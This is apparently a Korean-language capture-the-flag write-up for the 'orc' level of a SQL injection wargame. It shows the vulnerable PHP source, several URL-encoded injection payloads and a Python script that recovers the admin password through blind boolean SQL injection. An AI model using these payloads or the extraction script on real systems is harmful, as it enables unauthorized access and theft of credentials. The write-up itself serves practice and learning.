Write-Up
첫 번째 방법
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27or%201=1%23
위 payload를 통해, 아래 그림 1과 같은 결과를 얻을 수 있다.
하지만 addslashes($_GET[pw]) 과 ($result['pw'] == $_GET['pw']) 에 의해 문제를 쉽게 해결할 수는 없다. 우선, addslashes() 함수를 우회하기 위해 아래와 같은 payload를 대입해 보았다.
/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%aa%27or%201=1%23
문제를 해결할 수 없는데, 그 이유는 addslashes() 함수를 우회한다고 하더라도, $result['pw'] == $_GET['pw'] 조건에서 참을 만족하지 않는다. 참을 만족하기 위해서는 참/ 거짓 반응을 통한 blind sql injection을 통해 pw를 구해야 한다 생각이 들었고, 아래와 같은 시도를 하였다.
?pw=%27or%20id=%22admin%22%20and%20pw%20like%20%27§a§%%27%23
버프슈트 인트루더를 통해 pw를 한자리 씩 구했고, 문제를 해결할 수 있었다.
두 번째 방법
preg_match('/prob|_|\.|\(\)/i', $_GET[pw]) 정규표현식 필터링을 간단히 살펴보면, 아래 그림 4와 같다.
처음에는 (, ) 이 두 개 모두 필터링되는 줄 알고, 괄호가 들어가는 payload 시도는 하지 않았었다. 하지만 이제는 제대로 된 필터링 양식을 알았으므로! 아래와 같은 payload를 통해 pw 길이 값을 구해주었다.
?pw=1%27%20or%20id%20=%20%27admin%27%20and%20length(pw)=8%23
위 payload를 통해 pw 길이가 8인 것을 알았다. 첫 번째 방법에서는 길이 값을 구하지 않은 채, 무작정 pw를 구했는데 이번에는 좀 더 체계적으로 pw를 구할 수 있다.
?pw=1%27%20or%20ascii(substr(pw,1,1))<49%23
위와 같은 payload를 통해 참 반응을 볼 수 있으므로, 아래와 같은 파이썬 코드를 작성해 줄 수 있다.
import requests
import string
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1'or "
cookies ={'PHPSESSID':"ulff58miv7p5er6sm3asg43hpf"}
char = string.digits+string.ascii_letters
result=""
for i in range(1,9):
for j in char:
param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
URL = url+param
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text:
result += j
break
print("pw: "+result)
참고
https://securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html